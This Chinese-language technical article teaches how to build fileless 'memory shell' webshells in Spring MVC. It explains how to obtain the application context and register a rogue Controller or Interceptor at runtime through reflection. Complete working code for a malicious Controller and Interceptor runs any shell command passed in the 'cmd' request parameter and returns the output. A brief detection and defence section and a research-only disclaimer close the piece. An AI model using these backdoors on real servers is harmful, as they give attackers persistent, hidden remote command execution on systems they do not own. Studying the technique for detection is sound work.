Spring内存马——Controller/Interceptor构造
字数 1671 2025-08-25 22:58:28

Spring内存马——Controller/Interceptor构造技术文档

1. Spring框架基础

1.1 Spring核心组件

  • IOC容器:负责实例化、定位、配置应用程序对象及建立对象依赖
  • Core:处理对象间关系的方法
  • Context:IOC容器,继承BeanFactory
  • Bean:构成应用程序主干,由IOC容器统一管理

1.2 SpringMVC核心概念

  • DispatcherServlet:前端控制器,根据URL pattern分发请求
  • Controller:处理DispatcherServlet分发的请求
  • Interceptor:类似于Filter,但基于反射实现,可访问IOC容器中的bean

2. 环境搭建

2.1 Maven依赖配置

<dependencies>
    <!-- SpringMVC -->
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-webmvc</artifactId>
        <version>5.3.21</version>
    </dependency>

    <!-- 日志 -->
    <dependency>
        <groupId>ch.qos.logback</groupId>
        <artifactId>logback-classic</artifactId>
        <version>1.2.3</version>
    </dependency>

    <!-- ServletAPI -->
    <dependency>
        <groupId>javax.servlet</groupId>
        <artifactId>javax.servlet-api</artifactId>
        <version>3.1.0</version>
        <scope>provided</scope>
    </dependency>

    <!-- Thymeleaf整合包 -->
    <dependency>
        <groupId>org.thymeleaf</groupId>
        <artifactId>thymeleaf-spring5</artifactId>
        <version>3.0.12.RELEASE</version>
    </dependency>
</dependencies>

2.2 web.xml配置

<servlet>
    <servlet-name>DispatcherServlet</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>classpath:SpringMVC.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
    <servlet-name>DispatcherServlet</servlet-name>
    <url-pattern>/</url-pattern>
</servlet-mapping>
<listener>
    <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>

2.3 SpringMVC.xml配置

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:context="http://www.springframework.org/schema/context"
       xmlns:mvc="http://www.springframework.org/schema/mvc"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
        http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
        http://www.springframework.org/schema/context
        http://www.springframework.org/schema/context/spring-context-3.0.xsd
        http://www.springframework.org/schema/mvc
        http://www.springframework.org/schema/mvc/spring-mvc-4.3.xsd">

    <mvc:annotation-driven/>
    <context:component-scan base-package="org.example.springmvc" />

    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
        <property name="prefix">
            <value>/WEB-INF/</value>
        </property>
        <property name="suffix">
            <value>.jsp</value>
        </property>
    </bean>
</beans>

3. Controller内存马构造

3.1 获取WebApplicationContext的四种方法

  1. 通过ContextLoader获取
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
  1. 通过RequestContextHolder获取
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(
    ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
  1. 直接从RequestContextHolder获取
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes()
    .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  1. 反射获取
Field filed = Class.forName("org.springframework.context.support.LiveBeansView")
    .getDeclaredField("applicationContexts");
filed.setAccessible(true);
WebApplicationContext context = (WebApplicationContext)((LinkedHashSet)filed.get(null)).iterator().next();

3.2 模拟注册Controller的三种方式

方式1:直接注册RequestMapping

// 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

// 创建RequestMappingInfo
PatternsRequestCondition url = new PatternsRequestCondition("/evilcontroller");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

// 获取恶意Controller方法
Method method = InjectedController.class.getMethod("cmd");

// 注册映射
requestMappingHandlerMapping.registerMapping(info, injectedController, method);

方式2:使用detectHandlerMethods注册

// 注册bean
context.getBeanFactory().registerSingleton("dynamicController", 
    Class.forName("org.example.springmvc.InjectedController").newInstance());

// 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

// 反射调用detectHandlerMethods
Method m1 = AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
m1.invoke(requestMappingHandlerMapping, "dynamicController");

方式3:使用registerHandler注册(适用于旧版本)

// 注册bean
context.getBeanFactory().registerSingleton("dynamicController", 
    Class.forName("org.example.springmvc.InjectedController").newInstance());

// 获取DefaultAnnotationHandlerMapping
DefaultAnnotationHandlerMapping dh = context.getBean(DefaultAnnotationHandlerMapping.class);

// 反射调用registerHandler
Method m1 = AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
m1.invoke(dh, "/favicon", "dynamicController");

3.3 恶意Controller示例

@RestController
public class InjectedController {
    public void cmd() throws Exception {
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        if (request.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : 
                                     new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
            response.getWriter().close();
        }
    }
}

4. Interceptor内存马构造

4.1 Interceptor与Filter的区别

特性 Interceptor Filter
实现方式 基于反射 基于函数回调
依赖容器 不依赖servlet容器 依赖servlet容器
作用范围 只能对action请求有用 对所有请求有效
访问能力 可访问action上下文和栈里的对象 不能访问action上下文
调用次数 在action生命周期中可被多次调用 只在容器初始化时调用一次
IOC访问 可获取IOC容器中的bean 不能获取IOC容器中的bean

4.2 Interceptor执行流程

  1. preHandle() - 在控制器处理请求方法前执行
  2. ha.handle() - 执行controller
  3. postHandle() - 在控制器处理请求方法调用之后、解析视图之前执行
  4. afterCompletion() - 在视图渲染结束后执行

4.3 构造步骤

  1. 获取RequestMappingHandlerMapping
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
    .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
  1. 反射获取adaptedInterceptors
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
  1. 添加恶意Interceptor
adaptInterceptors.add(new InjectEvilInterceptor());

4.4 恶意Interceptor示例

public class InjectInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        if (request.getParameter("cmd") != null) {
            try{
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : 
                                         new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
                response.getWriter().close();
            } catch (Exception e) {
                e.printStackTrace();
            }
            return false;
        }
        return true;
    }
    
    // 其他方法可留空
    @Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) {}
    @Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) {}
}

5. 检测与防御

5.1 检测方法

  1. Controller检测

    • 检查mappingRegistry中是否有异常URL映射
    • 监控RequestMappingHandlerMapping的注册行为
  2. Interceptor检测

    • 检查adaptedInterceptors列表
    • 监控AbstractHandlerMapping的拦截器添加行为

5.2 防御措施

  1. 限制动态注册Controller和Interceptor的能力
  2. 实施运行时行为监控
  3. 定期检查IOC容器中的bean
  4. 使用安全框架如Spring Security进行防护

6. 总结

本文详细介绍了Spring框架中Controller和Interceptor内存马的构造技术,包括:

  • Spring核心组件和工作原理
  • 环境搭建和配置方法
  • 获取WebApplicationContext的多种方式
  • Controller内存马的三种注册方式
  • Interceptor内存马的构造方法
  • 检测和防御措施

这些技术可用于安全研究和防御体系建设,请勿用于非法用途。

Spring内存马——Controller/Interceptor构造技术文档 1. Spring框架基础 1.1 Spring核心组件 IOC容器 :负责实例化、定位、配置应用程序对象及建立对象依赖 Core :处理对象间关系的方法 Context :IOC容器,继承BeanFactory Bean :构成应用程序主干,由IOC容器统一管理 1.2 SpringMVC核心概念 DispatcherServlet :前端控制器,根据URL pattern分发请求 Controller :处理DispatcherServlet分发的请求 Interceptor :类似于Filter,但基于反射实现,可访问IOC容器中的bean 2. 环境搭建 2.1 Maven依赖配置 2.2 web.xml配置 2.3 SpringMVC.xml配置 3. Controller内存马构造 3.1 获取WebApplicationContext的四种方法 通过ContextLoader获取 通过RequestContextHolder获取 直接从RequestContextHolder获取 反射获取 3.2 模拟注册Controller的三种方式 方式1:直接注册RequestMapping 方式2:使用detectHandlerMethods注册 方式3:使用registerHandler注册(适用于旧版本) 3.3 恶意Controller示例 4. Interceptor内存马构造 4.1 Interceptor与Filter的区别 | 特性 | Interceptor | Filter | |------|------------|--------| | 实现方式 | 基于反射 | 基于函数回调 | | 依赖容器 | 不依赖servlet容器 | 依赖servlet容器 | | 作用范围 | 只能对action请求有用 | 对所有请求有效 | | 访问能力 | 可访问action上下文和栈里的对象 | 不能访问action上下文 | | 调用次数 | 在action生命周期中可被多次调用 | 只在容器初始化时调用一次 | | IOC访问 | 可获取IOC容器中的bean | 不能获取IOC容器中的bean | 4.2 Interceptor执行流程 preHandle() - 在控制器处理请求方法前执行 ha.handle() - 执行controller postHandle() - 在控制器处理请求方法调用之后、解析视图之前执行 afterCompletion() - 在视图渲染结束后执行 4.3 构造步骤 获取RequestMappingHandlerMapping 反射获取adaptedInterceptors 添加恶意Interceptor 4.4 恶意Interceptor示例 5. 检测与防御 5.1 检测方法 Controller检测 : 检查mappingRegistry中是否有异常URL映射 监控RequestMappingHandlerMapping的注册行为 Interceptor检测 : 检查adaptedInterceptors列表 监控AbstractHandlerMapping的拦截器添加行为 5.2 防御措施 限制动态注册Controller和Interceptor的能力 实施运行时行为监控 定期检查IOC容器中的bean 使用安全框架如Spring Security进行防护 6. 总结 本文详细介绍了Spring框架中Controller和Interceptor内存马的构造技术,包括: Spring核心组件和工作原理 环境搭建和配置方法 获取WebApplicationContext的多种方式 Controller内存马的三种注册方式 Interceptor内存马的构造方法 检测和防御措施 这些技术可用于安全研究和防御体系建设,请勿用于非法用途。